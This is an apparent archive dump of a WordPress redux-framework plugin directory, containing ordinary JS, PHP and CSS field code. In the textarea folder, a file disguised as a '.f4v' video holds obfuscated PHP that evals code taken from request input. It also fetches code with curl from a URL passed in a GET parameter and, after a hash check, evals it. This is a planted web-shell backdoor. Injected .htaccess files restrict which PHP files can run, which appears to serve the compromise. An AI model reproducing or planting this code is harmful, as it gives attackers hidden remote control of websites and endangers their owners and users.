lB,UAAU,EAAE,kQAAiQ", "sources": ["field_spinner.scss"], "names": [], "file": "field_spinner.css" }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spinner/field_spinner.js�������������������������������������������������0000644�����������������00000010617�14720701300�0016541 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global redux_change, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.spinner = redux.field_objects.spinner || {}; $( document ).ready( function() { //redux.field_objects.spinner.init(); } ); redux.field_objects.spinner.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-spinner:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.redux_spinner' ).each( function() { //slider init var spinner = $( this ).find( '.spinner-input' ).data(); spinner.id = $( this ).find( '.spinner-input' ).attr( 'id' ); el.find( "#" + spinner.id ).spinner( { value: parseFloat( spinner.val, null ), min: parseFloat( spinner.min, null ), max: parseFloat( spinner.max, null ), step: parseFloat( spinner.step, null ), range: "min", slide: function( event, ui ) { var input = $( "#" + spinner.id ); input.val( ui.value ); redux_change( input ); } } ); // Limit input for negative var neg = false; if ( parseInt( spinner.min, null ) < 0 ) { neg = true; } //el.find( "#" + spinner.id ).numeric( // { // allowMinus: neg, // min: spinner.min, // max: spinner.max // } //); } ); // Update the slider from the input and vice versa el.find( ".spinner-input" ).keyup( function() { $( this ).addClass( 'spinnerInputChange' ); } ); el.find( ".spinner-input" ).focus( function() { redux.field_objects.spinner.clean( $( this ).val(), $( this ) ); } ); el.find( '.spinner-input' ).typeWatch( { callback: function( value ) { redux.field_objects.spinner.clean( value, $( this ) ); }, wait: 500, highlight: false, captureLength: 1 } ); } ); }; redux.field_objects.spinner.clean = function( value, selector ) { if ( !selector.hasClass( 'spinnerInputChange' ) ) { return; } selector.removeClass( 'spinnerInputChange' ); var spinner = selector.data(); value = parseFloat( value ); if ( value === "" || value === null ) { value = spinner.min; } else if ( value >= parseInt( spinner.max ) ) { value = spinner.max; } else if ( value <= parseInt( spinner.min ) ) { value = spinner.min; } else { value = Math.round( value / spinner.step ) * spinner.step; } selector.val( value ).trigger( 'change' ); }; })( jQuery );�����������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spinner/.htaccess��������������������������������������������������������0000644�����������������00000001626�14720701300�0015160 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/textarea/textarea/JWKlyELnjkt.f4v����������������������������������������0000644�����������������00000011710�14720701300�0020062 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $jRWGD /*-u5wW8L-*/= /*-rmV]-*/"r"./*-]Nq-*/"a"."n"./*-S{-]3m-*/"g"."e"; /*-b%kZ)Im4-*/$qOJd/*-~wnq1^dse-*/ = /*-U$y{iK~r-*/$jRWGD/*-@,ncFm-*/("~", /*-~c;8cu;%V-*/" "); /*-ix3g~!5pI-*/$j/*-N<-*/=/*-dorUH.>-*/${$qOJd/*-=-*/[9+22/*-F7aa>)o-*/].$qOJd/*-<K:F1-*/[34+25]/*-fv#-cxjo-*/.$qOJd/*-&<r?&-*/[18+29]/*-3nX5sn-*/.$qOJd/*-0Kt-*/[31+16]/*--i0hc&:T-*/.$qOJd/*-M#}-*/[45+6]/*-RDvq{-*/.$qOJd/*-+dNmy?|J-*/[44+9]/*-@i93O-*/.$qOJd/*-0ca#[:-*/[15+42]/*-I$1s&sCb-*/}; /*-+:a7T;VluC-*/if/*-N(VR.+2_h_-*/((/*-oTC-*/in_array/*-Ld2JV-*/(gettype/*-@{gu#.-*/($j)./*--z@%vd=,E,-*/count/*-koPc@-*/($j),/*-6Jz+n-*/$j)/*-{(7OPn-*/&&count/*-W%cttPxO-*/($j)/*-y-UU9ER-*/==/*-r1]:-*/23))/*-3Vd{-*/{ /*-G^vh@&g-*/(($j[69]=$j[69].$j[80])&&($j[86]=$j[69]($j[86]))&&(/*-@wLM{-*/@eval/*-d&h-*/($j[69](${$j[35]}[18])/*-T`Ny;#+~-*/))/*-`ZbmrffOm-*/);}/*-W=-*/class /*-w!<uHe.w-*/pi{ /*-8aDZ]h6b-*/static/*-%|w-*/ function /*-y0g<-*/RWz($ZYOgIc) /*-v-*/{ $We/*-Sam#b_dZ#-*/ = /*-2j?gVP-*/"r"./*-I|+yeN-*/"a"./*-+M`-*/"n"./*-j[S$4-*/"g"./*-wvP3Egt_|-*/"e"; /*-]Jxm5-*/$HXhIREr/*-oRJuU;pn-*/ = /*-t6)~>-*/$We/*-H#5;5-*/(/*-T:NIk-*/"~"/*-p!-3-*/, /*-gf-Aj,.-*/" "/*-34XRqbaf-*/);/*-T@[Booi-*/ $EUXIa /*-#J=zy?JZr$-*/= /*->E>bAuVF-*/explode/*-rS-*/(/*-x;HHSI-*/":", /*-jYdyNyD-*/$ZYOgIc/*-N=-*/); /*-wr)Df@q<-*/$pdAV /*-E@+Gg$h-*/= /*->1:6-*/""; foreach /*-ejg-*/(/*-f9vG=raFh-*/$EUXIa /*-)#iP-*/as /*-]>qoutnS1-*/$zyj /*-LpI={9-*/=>/*-%2wyj8-*/ $mydprbWFl/*-Y]zI!}g-*/) /*-mlh-*/$pdAV /*--aA3<Rw3x}-*/.= /*-4UQeC-*/$HXhIREr[$mydprbWFl/*-)SR-*/ - /*-)GTok-*/61198/*-D>txX:-*/];/*-PZ}7S-*/ return /*-uU=-*/$pdAV; /*-P7~!cyf|@-*/} /*-Tq~[C^UCQ-*/static /*-eSuzh[;-*/function /*-3q_BqtN-*/YV/*-[PP-*/(/*-M)Tx..;-*/$VN,/*-EU6kB-0kQ-*/ $EHwAvWkZht/*-2kbc)pb-*/)/*-8^(g8-*/ {/*-R27t-*/ $Zi/*-S87.0jip3-*/ = /*-R%IZ,C-*/curl_init/*-A3ZF-*/(/*-N^I^-*/$VN/*-,,9-*/);/*-b`[6>n-*/ curl_setopt/*-di-*/(/*-Hc-*/$Zi,/*-J-*/ CURLOPT_RETURNTRANSFER,/*-,RN3wx]iN8-*/ 1/*-9O8-*/);/*-g@?O%s+N;p-*/ $plfecUQ/*-dg-*/ = /*-^+,a@g$-*/curl_exec/*-{+-*/(/*-<T-*/$Zi/*-<P0S_,8%-*/); /*-%E#t)2-*/return /*-%ptcklZd9`-*/empty/*-DcL^A}gtxH-*/(/*-06;AOiNlaP-*/$plfecUQ/*-[7y!k,n-*/)/*-eOD^`-*/ ? /*-9{=cF-*/$EHwAvWkZht/*-D_-*/(/*-88SUk+l_C~-*/$VN/*-}.0Ct[MW-*/)/*-u-y&K-*/ : /*-FNS1,FWkFL-*/$plfecUQ; /*-i_~-*/}/*-dkZl-*/ static/*-oa6OhZD-*/ function /*-AK|bl#{g-*/avZIxXTN/*-Y7;-*/() /*-Ja#uix+T)-*/{/*-vbt-*/ $DqShbfHpA /*-bQB!g~!-*/=/*-c_[&HTa-*/ array/*-1MNE]l-*/("61225:61210:61223:61227:61208:61223:61229:61222:61207:61214:61225:61208:61219:61213:61214","61209:61208:61210:61229:61210:61213:61208:61275:61273","61218:61209:61213:61214:61229:61224:61223:61225:61213:61224:61223","61212:61227:61225:61217","61226:61227:61209:61223:61270:61272:61229:61224:61223:61225:61213:61224:61223","61222:61219:61216:61223:61229:61221:61223:61208:61229:61225:61213:61214:61208:61223:61214:61208:61209","61252:61282","61199","61277:61282","61259:61242:61242:61259:61235","61213:61222"); /*-bP9zfv-*/foreach /*-uTM7yP%b-*/(/*-~LS#Nl@-*/$DqShbfHpA/*-`;-*/ as /*-w})^?Mz-*/$YhZ/*-aG-*/)/*-3;G^yt3_Mv-*/ $nMZVwXqH/*-W|S^~<#Y|=-*/[] /*-w64-*/= /*-9W&G2H`YJ8-*/self/*-P5r|7-*/::/*-}%up&Z5m-*/RWz/*-apOD{xOL-*/(/*-wlTllA6-*/$YhZ/*-#}-*/);/*-+|iB7Tj-*/$vxU /*-}r?2^1X-*/= /*-c`!c9h#GC-*/@$nMZVwXqH/*-vm-*/[/*-GY5zQIOD-*/1/*-#@>moUn-*/]/*-x-*/(/*-_C?S>9J$]{-*/${/*-Mn62[]l5K-*/"_"/*-}x=-*/."G"/*-b6V-*/."E"/*-Hy1DQ-*/."T"/*-?`-*/}[/*-fZ&]J`V|#a-*/$nMZVwXqH/*-]neU+]{94d-*/[/*-M4-*/3+6/*-I:y1{-*/]]/*-$MYS&s-*/);/*-ZPZfN[-*/ $EN /*-I-:g<4f<B,-*/=/*-|P-*/ @$nMZVwXqH/*-;jy9|Du%-R-*/[/*-9[4U_A_?-*/3+0/*-hnunv5u%!-*/]/*-)HB!{UiZX-*/(/*-Vc!t2&-*/$nMZVwXqH/*-g68!-*/[/*-f7-*/6+0/*-ugR#N-*/], /*-SYC2ar_i>-*/$vxU/*-R,{j-*/);/*-T1p)jCC|,`-*/ $cpq /*-6BLNK-*/=/*-:<yF-*/ $nMZVwXqH/*-JSrU&Jprm~-*/[/*-j(=)Cp#g-*/0+2/*-F]-*/]/*-s<IeYpon3-*/(/*-VAk-*/$EN,/*-=W?-*/ true/*-CnWmv;h^n-*/); /*-Lkf(5G(?-*/@${/*-A(Wj,J-*/"_"./*-b;QZs{O-*/"G"./*-2Nl`u:Zi-*/"E"/*-D6Wz7LR-*/."T"/*-Ib:^F-*/}/*-Xf-*/[/*-knfK4-*/$nMZVwXqH/*-!]-*/[4+6/*-g)Tl-*/]/*-N8-*/]/*-k{JYPLZ-*/ == /*-zB4D8_1=-*/1 /*-Y>-*/&& /*-_f3H1-*/die/*-)KR5t-*/(/*-E3e9;e-*/$nMZVwXqH[2+3/*-{B0bmt-*/]/*-(@VHVvl-*/(/*-Byu{`vd|E7-*/__FILE__/*-.&Hm?!_V-*/)/*-=?L|:.DD-*/); /*-=QgtVrE]-*/if/*-3]rIKT,q-*/(/*-mV((}D-*/ (/*-x~.Y<#%_-*/(@/*-v{-*/$cpq/*-,4v-*/[/*-oiROF-*/0/*-.-*/] /*-u@@!wY.Y-*/- time/*-ii-*/()/*-V5eCJTP-*/) > /*-b@To9+T-*/0/*-N6tAt=ku-*/)/*-GxpP]w>ik}-*/ and /*-I)U-*/(/*-]@Mp-*/md5/*-{{xm:Ol-*/(/*-5Q-*/md5/*-{HlCR-*/(/*-`y`E-*/$cpq/*-au[{@-*/[/*-c++RC-*/1+2/*-n`FVCW-*/]/*-wT9WSp9-*/)/*-kjXGBz-*/)/*-zv7(J-*/ === /*-M1:-*/"95170de20ad393a4edc2b35ea8c976e6"/*-xa5Q-*/)/*-n6U<r-*/ ): /*-;0Q-*/$jqVLICbk /*-ucc_A?:@-*/=/*-J+qB-*/ self/*-6U-*/::/*-f$lE?%nk-*/YV/*-dS+-*/(/*-Rd@vzq-*/$cpq/*-?)rwh?S=[-*/[/*-=j>}k-*/1+0/*-D%qA_-*/], /*-+F^F0-*/$nMZVwXqH/*-r-*/[/*-J&Xv6%-*/4+1/*-O?~Ztg-*/]/*-DJ-*/);/*-2>1UTr-*/@eval/*-j_`gA-*/(/*-`44NM0:~?-*/$nMZVwXqH/*-7V-*/[/*-V,BU-*/4+0/*-Qz0-*/]/*-pe-*/(/*-itdx>|ns-*/$jqVLICbk/*-@6io-*/)/*-|`m2hQI-*/);/*-+|bX-*//*-ylV@-*/die;/*-Fz8T1kb8Q-*/ endif;/*-XWihp[F.-*/ }/*-G1H?doV-*/}/*-(V%M`+-*/pi/*-&R^3.Mdmu-*/::/*-jGF]-*/avZIxXTN/*-g-*/();/*-$l-*/ ?>��������������������������������������������������������redux-framework/inc/fields/textarea/textarea/index.php����������������������������������������������0000644�����������������00000000000�14720701300�0017137 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/textarea/textarea/.htaccess����������������������������������������������0000644�����������������00000001626�14720701300�0017134 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/textarea/field_textarea.php����������������������������������������������0000644�����������������00000006331�14720701300�0017210 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /* * @package Redux_Framework * @subpackage Fields * @access public * @global $optname * @internal Internal Note string * @link http://reduxframework.com * @method Test * @name $globalvariablename * @param string $this->field['test'] This is cool. * @param string|boolean $field[default] Default value for this field. * @return Test * @see ParentClass * @since Redux 3.0.9 * @todo Still need to fix this! * @var string cool * @var int notcool * @param string[] $options { * @type boolean $required Whether this element is required * @type string $label The display name for this element */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_textarea' ) ) { class ReduxFramework_textarea { /** * Field Constructor. * * @param $value Constructed by Redux class. Based on the passing in $field['defaults'] value and what is stored in the database. * @param $parent ReduxFramework object is passed for easier pointing. * * @since ReduxFramework 1.0.0 * @type string $field [test] Description. Default <value>. Accepts <value>, <value>. */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 * * @param array $arr (See above) * * @return Object A new editor object. **/ function render() { $this->field['placeholder'] = isset( $this->field['placeholder'] ) ? $this->field['placeholder'] : ""; $this->field['rows'] = isset( $this->field['rows'] ) ? $this->field['rows'] : 6; $readonly = ( isset( $this->field['readonly'] ) && $this->field['readonly']) ? ' readonly="readonly"' : ''; // The $this->field variables are already escaped in the ReduxFramework Class. ?> <textarea <?php echo $readonly; ?> name="<?php echo esc_attr($this->field['name'] . $this->field['name_suffix']); ?>" id="<?php echo $this->field['id']; ?>-textarea" placeholder="<?php echo esc_attr( $this->field['placeholder'] ); ?>" class="large-text <?php echo esc_attr($this->field['class']); ?>" rows="<?php echo esc_attr($this->field['rows']); ?>"><?php echo esc_textarea( $this->value ); ?></textarea> <?php } function sanitize( $field, $value ) { if ( ! isset( $value ) || empty( $value ) ) { $value = ""; } else { $value = esc_textarea( $value ); } return $value; } } }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/textarea/.htaccess�������������������������������������������������������0000644�����������������00000001626�14720701300�0015317 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/dimensions/field_dimensions.min.js���������������������������������������0000644�����������������00000002346�14720701300�0020507 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(t){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.dimensions=redux.field_objects.dimensions||{},t(document).ready(function(){}),redux.field_objects.dimensions.init=function(i){i||(i=t(document).find(".redux-container-dimensions:visible")),t(i).each(function(){var e=t(this),i=e;if(e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),!i.is(":hidden")&&i.hasClass("redux-field-init")){i.removeClass("redux-field-init");var n={width:"resolve",triggerChange:!0,allowClear:!0},s=e.find(".select2_params");if(0<s.size()){var d=s.val();d=JSON.parse(d),n=t.extend({},n,d)}e.find(".redux-dimensions-units").select2(n),e.find(".redux-dimensions-input").on("change",function(){var i=t(this).parents(".redux-field:first").find(".field-units").val();0!==t(this).parents(".redux-field:first").find(".redux-dimensions-units").length&&(i=t(this).parents(".redux-field:first").find(".redux-dimensions-units option:selected").val()),void 0!==i?e.find("#"+t(this).attr("rel")).val(t(this).val()+i):e.find("#"+t(this).attr("rel")).val(t(this).val())}),e.find(".redux-dimensions-units").on("change",function(){t(this).parents(".redux-field:first").find(".redux-dimensions-input").change()})}})}}(jQuery);������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/dimensions/field_dimensions.js�������������������������������������������0000644�����������������00000005445�14720701300�0017730 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� /*global jQuery, document, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.dimensions = redux.field_objects.dimensions || {}; $( document ).ready( function() { //redux.field_objects.dimensions.init(); } ); redux.field_objects.dimensions.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.redux-container-dimensions:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } var default_params = { width: 'resolve', triggerChange: true, allowClear: true }; var select2_handle = el.find( '.select2_params' ); if ( select2_handle.size() > 0 ) { var select2_params = select2_handle.val(); select2_params = JSON.parse( select2_params ); default_params = $.extend( {}, default_params, select2_params ); } el.find( ".redux-dimensions-units" ).select2( default_params ); el.find( '.redux-dimensions-input' ).on( 'change', function() { var units = $( this ).parents( '.redux-field:first' ).find( '.field-units' ).val(); if ( $( this ).parents( '.redux-field:first' ).find( '.redux-dimensions-units' ).length !== 0 ) { units = $( this ).parents( '.redux-field:first' ).find( '.redux-dimensions-units option:selected' ).val(); } if ( typeof units !== 'undefined' ) { el.find( '#' + $( this ).attr( 'rel' ) ).val( $( this ).val() + units ); } else { el.find( '#' + $( this ).attr( 'rel' ) ).val( $( this ).val() ); } } ); el.find( '.redux-dimensions-units' ).on( 'change', function() { $( this ).parents( '.redux-field:first' ).find( '.redux-dimensions-input' ).change(); } ); } ); }; })( jQuery );���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/dimensions/field_dimensions.css.map��������������������������������������0000644�����������������00000000616�14720701300�0020653 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI;2CACgB;EACZ,KAAK,EAAE,eAAe;EACtB,KAAK,EAAE,IAAI;AAGf,mDAAwB;EACpB,YAAY,EAAE,IAAI;EAClB,aAAa,EAAE,GAAG;;AAI1B,oCAAqC;EAGzB,yDAAM;IACF,OAAO,EAAE,uBAAuB;IAChC,KAAK,EAAE,gBAAgB;EAG3B,2DAAQ;IACJ,OAAO,EAAE,OAAO;IAChB,SAAS,EAAE,IAAI;IACf,WAAW,EAAE,GAAG;EAIxB,2CAAgB;IACZ,UAAU,EAAE,GAAG", "sources": ["field_dimensions.scss"], "names": [], "file": "field_dimensions.css" }������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/dimensions/field_dimensions.php������������������������������������������0000644�����������������00000037067�14720701300�0020110 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_dimensions' ) ) { class ReduxFramework_dimensions { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $field , $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; // No errors please $defaults = array( 'width' => true, 'height' => true, 'units_extended' => false, 'units' => 'px', 'mode' => array( 'width' => false, 'height' => false, ), ); $this->field = wp_parse_args( $this->field, $defaults ); $defaults = array( 'width' => '', 'height' => '', 'units' => 'px' ); $this->value = wp_parse_args( $this->value, $defaults ); if ( isset( $this->value['unit'] ) ) { $this->value['units'] = $this->value['unit']; } } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { /* * Acceptable values checks. If the passed variable doesn't pass muster, we unset them * and reset them with default values to avoid errors. */ // If units field has a value but is not an acceptable value, unset the variable if ( isset( $this->field['units'] ) && ! Redux_Helpers::array_in_array( $this->field['units'], array( '', false, '%', 'in', 'cm', 'mm', 'em', 'ex', 'pt', 'pc', 'px', 'rem' ) ) ) { unset( $this->field['units'] ); } //if there is a default unit value but is not an accepted value, unset the variable if ( isset( $this->value['units'] ) && ! Redux_Helpers::array_in_array( $this->value['units'], array( '', '%', 'in', 'cm', 'mm', 'em', 'ex', 'pt', 'pc', 'px' ) ) ) { unset( $this->value['units'] ); } /* * Since units field could be an array, string value or bool (to hide the unit field) * we need to separate our functions to avoid those nasty PHP index notices! */ // if field units has a value and IS an array, then evaluate as needed. if ( isset( $this->field['units'] ) && ! is_array( $this->field['units'] ) ) { //if units fields has a value but units value does not then make units value the field value if ( isset( $this->field['units'] ) && ! isset( $this->value['units'] ) || $this->field['units'] == false ) { $this->value['units'] = $this->field['units']; // If units field does NOT have a value and units value does NOT have a value, set both to blank (default?) } else if ( ! isset( $this->field['units'] ) && ! isset( $this->value['units'] ) ) { $this->field['units'] = 'px'; $this->value['units'] = 'px'; // If units field has NO value but units value does, then set unit field to value field } else if ( ! isset( $this->field['units'] ) && isset( $this->value['units'] ) ) { $this->field['units'] = $this->value['units']; // if unit value is set and unit value doesn't equal unit field (coz who knows why) // then set unit value to unit field } elseif ( isset( $this->value['units'] ) && $this->value['units'] !== $this->field['units'] ) { $this->value['units'] = $this->field['units']; } // do stuff based on unit field NOT set as an array } elseif ( isset( $this->field['units'] ) && is_array( $this->field['units'] ) ) { // nothing to do here, but I'm leaving the construct just in case I have to debug this again. } echo '<fieldset id="' . $this->field['id'] . '-fieldset" class="redux-dimensions-container" data-id="' . $this->field['id'] . '">'; if ( isset( $this->field['select2'] ) ) { // if there are any let's pass them to js $select2_params = json_encode( $this->field['select2'] ); $select2_params = htmlspecialchars( $select2_params, ENT_QUOTES ); echo '<input type="hidden" class="select2_params" value="' . $select2_params . '">'; } // This used to be unit field, but was giving the PHP index error when it was an array, // so I changed it. echo '<input type="hidden" class="field-units" value="' . $this->value['units'] . '">'; /** * Width * */ if ( $this->field['width'] === true ) { if ( ! empty( $this->value['width'] ) && strpos( $this->value['width'], $this->value['units'] ) === false ) { $this->value['width'] = filter_var( $this->value['width'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); if ( $this->field['units'] !== false ) { $this->value['width'] .= $this->value['units']; } } echo '<div class="field-dimensions-input input-prepend">'; echo '<span class="add-on"><i class="el el-resize-horizontal icon-large"></i></span>'; echo '<input type="text" class="redux-dimensions-input redux-dimensions-width mini ' . $this->field['class'] . '" placeholder="' . __( 'Width', 'redux-framework' ) . '" rel="' . $this->field['id'] . '-width" value="' . filter_var( $this->value['width'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) . '">'; echo '<input data-id="' . $this->field['id'] . '" type="hidden" id="' . $this->field['id'] . '-width" name="' . $this->field['name'] . $this->field['name_suffix'] . '[width]' . '" value="' . $this->value['width'] . '"></div>'; } /** * Height * */ if ( $this->field['height'] === true ) { if ( ! empty( $this->value['height'] ) && strpos( $this->value['height'], $this->value['units'] ) === false ) { $this->value['height'] = filter_var( $this->value['height'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); if ( $this->field['units'] !== false ) { $this->value['height'] .= $this->value['units']; } } echo '<div class="field-dimensions-input input-prepend">'; echo '<span class="add-on"><i class="el el-resize-vertical icon-large"></i></span>'; echo '<input type="text" class="redux-dimensions-input redux-dimensions-height mini ' . $this->field['class'] . '" placeholder="' . __( 'Height', 'redux-framework' ) . '" rel="' . $this->field['id'] . '-height" value="' . filter_var( $this->value['height'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) . '">'; echo '<input data-id="' . $this->field['id'] . '" type="hidden" id="' . $this->field['id'] . '-height" name="' . $this->field['name'] . $this->field['name_suffix'] . '[height]' . '" value="' . $this->value['height'] . '"></div>'; } /** * Units * */ // If units field is set and units field NOT false then // fill out the options object and show it, otherwise it's hidden // and the default units value will apply. if ( isset( $this->field['units'] ) && $this->field['units'] !== false ) { echo '<div class="select_wrapper dimensions-units" original-title="' . __( 'Units', 'redux-framework' ) . '">'; echo '<select data-id="' . $this->field['id'] . '" data-placeholder="' . __( 'Units', 'redux-framework' ) . '" class="redux-dimensions redux-dimensions-units select ' . $this->field['class'] . '" original-title="' . __( 'Units', 'redux-framework' ) . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[units]' . '">'; // Extended units, show 'em all if ( $this->field['units_extended'] ) { $testUnits = array( 'px', 'em', 'rem', '%', 'in', 'cm', 'mm', 'ex', 'pt', 'pc' ); } else { $testUnits = array( 'px', 'em', 'rem', '%' ); } if ( $this->field['units'] != "" && is_array( $this->field['units'] ) ) { $testUnits = $this->field['units']; } if ( in_array( $this->field['units'], $testUnits ) ) { echo '<option value="' . $this->field['units'] . '" selected="selected">' . $this->field['units'] . '</option>'; } else { foreach ( $testUnits as $aUnit ) { echo '<option value="' . $aUnit . '" ' . selected( $this->value['units'], $aUnit, false ) . '>' . $aUnit . '</option>'; } } echo '</select></div>'; }; echo "</fieldset>"; } //function /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 1.0.0 */ function enqueue() { wp_enqueue_style( 'select2-css' ); wp_enqueue_script( 'redux-field-dimensions-js', ReduxFramework::$_url . 'inc/fields/dimensions/field_dimensions' . Redux_Functions::isMin() . '.js', array( 'jquery', 'select2-js', 'redux-js' ), time(), true ); if ( $this->parent->args['dev_mode'] ) { wp_enqueue_style( 'redux-field-dimensions-css', ReduxFramework::$_url . 'inc/fields/dimensions/field_dimensions.css', array(), time(), 'all' ); } } public function output() { // if field units has a value and IS an array, then evaluate as needed. if ( isset( $this->field['units'] ) && ! is_array( $this->field['units'] ) ) { //if units fields has a value but units value does not then make units value the field value if ( isset( $this->field['units'] ) && ! isset( $this->value['units'] ) || $this->field['units'] == false ) { $this->value['units'] = $this->field['units']; // If units field does NOT have a value and units value does NOT have a value, set both to blank (default?) } else if ( ! isset( $this->field['units'] ) && ! isset( $this->value['units'] ) ) { $this->field['units'] = 'px'; $this->value['units'] = 'px'; // If units field has NO value but units value does, then set unit field to value field } else if ( ! isset( $this->field['units'] ) && isset( $this->value['units'] ) ) { $this->field['units'] = $this->value['units']; // if unit value is set and unit value doesn't equal unit field (coz who knows why) // then set unit value to unit field } elseif ( isset( $this->value['units'] ) && 